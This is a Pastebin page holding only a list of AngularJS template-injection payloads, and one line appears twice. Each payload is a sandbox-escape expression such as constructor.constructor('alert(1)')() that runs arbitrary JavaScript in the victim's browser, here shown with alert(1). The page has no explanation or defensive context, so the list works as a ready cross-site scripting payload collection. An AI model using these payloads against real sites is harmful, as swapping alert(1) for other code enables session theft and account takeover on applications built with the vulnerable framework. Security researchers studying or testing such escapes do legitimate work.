Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- {{x = {'y':''.constructor.prototype}; x['y'].charAt=[].join;$eval('x=alert(1)');}}
- constructor.constructor('alert(1)')()
- {{a='constructor';b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,'alert(1)')()}}
- {{'a'[{toString:[].join,length:1,0:'__proto__'}].charAt=''.valueOf;$eval("x='"+(y='if(!window\\u002ex)alert(window\\u002ex=1)')+eval(y)+"'");}}
- {{toString.constructor.prototype.toString=toString.constructor.prototype.call;["a","alert(1)"].sort(toString.constructor);}}
- {{toString.constructor.prototype.toString=toString.constructor.prototype.call;["a","alert(1)"].sort(toString.constructor);}}
- {{'a'.constructor.prototype.charAt=''.valueOf;$eval("x='\"+(y='if(!window\\u002ex)alert(window\\u002ex=1)')+eval(y)+\"'");}}
- {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}
- {{'a'.constructor.prototype.charAt=[].join;$eval('x=alert(1)');}}
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement